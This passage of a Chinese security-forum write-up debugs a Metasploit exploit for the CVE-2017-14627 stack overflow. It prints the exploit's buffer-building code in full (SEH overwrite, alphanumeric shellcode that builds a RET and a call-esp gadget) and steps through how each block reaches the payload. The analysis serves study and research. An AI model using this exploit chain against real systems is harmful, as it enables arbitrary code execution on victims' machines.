date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}">      <TRACK name="#{buffer}" />    </INFORMATION>  </PROJECT>

可以看到exploit将0x42作为nop,以ABC中随机一个字符作为填充。将以上代码优化后如下:

第一区块nop = "x42"junk = 'ABC'.split('').sample              #junk must specifically static (A, B, and C only)buffer = ""buffer << junk * target['Offset']buffer << "x61x42"       # nsehbuffer << target['Ret']    # seh         第二区块                              #we need to encode the RET address, since RET (xc3) is known as bad char.#preparing address to land the decoded RETbuffer << "x54"           #push esp       buffer << "x58"           #pop eax           buffer << "x05x1Bx01"   #add eax 01001B00buffer << "x2dx01x01"   #sub eax 01001000 eax=0012F655buffer << "x50"           #push eax       buffer << "x5c"           #pop esp   第三区块       #preparing RET opcode (c300c300)buffer << "x25x7ex7e"   #and eax,7e007e00buffer << "x25x01x01"   #and eax,01000100 buffer << "x35x7fx7f"   #xor eax,7f007f00 buffer << "x05x44x44"   #add eax,44004400 buffer << "x57"           #push edi as padding, needed to align stack   buffer << "x50"           #push eax                                   buffer << junk * target['Padding1'] #OS specific第四区块 #custom venetian to reach shellcodebuffer << "x58"           #pop eaxbuffer << "x58"           #pop eax                                      buffer << "x05x09x01"   #depending OS add eax, 0x1000900               #buffer << "x2dx01x01"   #sub eax, 01000100, this will align eax to our buffer  buffer << "x50"           #push eax                                      第五区块#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call espbuffer << "x5C"           #pop esp                                          buffer << "x58"           #pop eax                                              buffer << "x05x53x7c"   #add eax 7c005300 part of call esp            buffer << "x50"           #push eax                                     buffer << junk * target['Padding2'] #OSspecific    buffer << "x7bx32"       #part of call esp  第六区块#preparing for jump to shellcode, placing in eax.buffer << junk * 114       #junkbuffer << "x57"           #push edi                                     buffer << "x58"           #pop eax                                         buffer << "x05x0Ax01"   #depending OS add eax, 0x1000A00               buffer << "x2dx01x01"   #sub eax,01000100                             buffer << nop              #nop/inc edxbuffer << get_payload(payload.encoded)buffer << junk * (payload.space-buffer.length)      #fill the rest of buffer, must be added.
接来下我们单步调试确定各个区块的作用。

2、第一区块

先是用junk填充790字节,再用0x61,0x42覆盖掉SEH指针 可以看到地址为0x12EED4,用target['Ret'] 覆盖seh Handler :
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
当覆盖到0x00130000这个地址的时候触发异常进入0044002c执行:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
此时堆栈情况如下,可以看到执行两次pop后ret到0x12EED4:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
正好跳转到我们的覆盖的SEH结构上,0x61为popad,执行后提高了我们的esp 同时注意此时的edi为0012EED4。
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
CVE-2017-14627栈溢出漏洞及exploit的调试与分析

3、第二区块

CVE-2017-14627栈溢出漏洞及exploit的调试与分析
此区块可以等价于  mov eax,esp  add eax,B00  mov esp,eax
执行完此区块后的寄存器情况:

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

此区块单纯的将esp提升到0x0012f655, 提升的目的是什么,为什么是这个地址?而且msf对此区块的注释是我们需要对RET地址进行编码,因为RET(xc3)被称为坏字符。现在我们只能记住此地址,接着向下分析。

4、第三区块

CVE-2017-14627栈溢出漏洞及exploit的调试与分析
此时堆栈情况如下:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
将0012EED4写入0012F651地址msf的解释是为了对齐堆栈。我们暂且不管这个操作,接着将C300C300写入0012F64D这个地址,貌似上面一切改变esp的操作都是为了让我们将 C300C300写入00126F4D这个地址。根据上面解释0xc3代表ret指令。我们在汇编窗口查看0012F64D+1这个地址,可以看到此汇编指令变成了ret。
为什么不直接输入c3指令,反而废了这么大功夫就为了生成0xC3。在msf.lpp文件中任意位置改成0xC3后用程序打开后显示加载项目设置时出错,请确认您选择的项目类型正确。
CVE-2017-14627栈溢出漏洞及exploit的调试与分析

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

5、第四个区块

CVE-2017-14627栈溢出漏洞及exploit的调试与分析
可以看到此区块的作用是将0012F651地址中的0012EED4取出给eax,再将eax提升到0012F6D4后压入栈:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
为什么要这么操作,还得接着向下分析。

6、第五个区块

CVE-2017-14627栈溢出漏洞及exploit的调试与分析
pop esp,所以上一个区块是为了将eax给esp,此时esp为0012F6D4,此时堆栈情况如下:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
之后执行pop eax是为了将0012F6D4里的0x0032007B取出给eax。
0x0032007B这个值是不是很熟悉,我们看第五个区块的末尾:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
这里预先存放了0x0032007B。接着一顿操作将eax变为7C32537B后压入栈:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
接下里一路执行直到0012F64E地址处的ret指令。执行ret指令跟进7C32537B地址发现这是一个call esp,而此时的esp是0012F6D8。
现在我们明白原来预先在0012F6D4这个地址里放入0x0032007B不是随便找的地址。我们既拿到了0x0032007B又把堆栈提高到了0012F6D4,之后的操作也是只是对堆栈进行小修改。
最后通过7C32537B处的call esp使程序跳转到0012F6D8处执行。之后一路滑行到达第六个区块。
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
CVE-2017-14627栈溢出漏洞及exploit的调试与分析

7、第六个区块

CVE-2017-14627栈溢出漏洞及exploit的调试与分析
这里前两句可以理解成将edi赋值给eax,edi的值在哪来的,还记得最开始的时候的popad吗,那时候将edi变为0012EED4。接着向下走对eax一顿操作,经过一个nop后终于到达了我们的payload。此时eax和eip都指向我们的payload。查看此时payload发现已经进行了编码,看不出来什么东西。跟踪payload时会发现payload头部会有一个解码的程序,这块我就不过多赘述了,最后弹出计算器。
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
此漏洞我在网上貌似没有找到有人分析过,所以可能有的地方分析的不对,遗漏错误之处请大佬们斧正。学习的同时顺便也想把研究成功分享一下,在下文笔可能也略显粗糙,请多多海涵。
参考资料https://www.exploit-db.com/exploits/45985https://baike.baidu.com/item/Variant/4668832?fr=aladdin


CVE-2017-14627栈溢出漏洞及exploit的调试与分析


看雪ID:DriverUnload

https://bbs.pediy.com/user-home-949068.htm

*本文由看雪论坛 DriverUnload 原创,转载请注明来自看雪社区

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

# 往期推荐

1、frida入门

2、2022祥云杯CTF babyparser

3、Android 内存执行ELF研究

4、有风控&无风控App对抗深入浅出

5、InfinityHook 实践纪录武侠版


CVE-2017-14627栈溢出漏洞及exploit的调试与分析


CVE-2017-14627栈溢出漏洞及exploit的调试与分析

球分享

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

球点赞

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

球在看


CVE-2017-14627栈溢出漏洞及exploit的调试与分析

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):CVE-2017-14627栈溢出漏洞及exploit的调试与分析

版权声明:admin 发表于 2022年12月19日 下午6:01。
转载请注明:CVE-2017-14627栈溢出漏洞及exploit的调试与分析 | CTF导航

相关文章

暂无评论

暂无评论...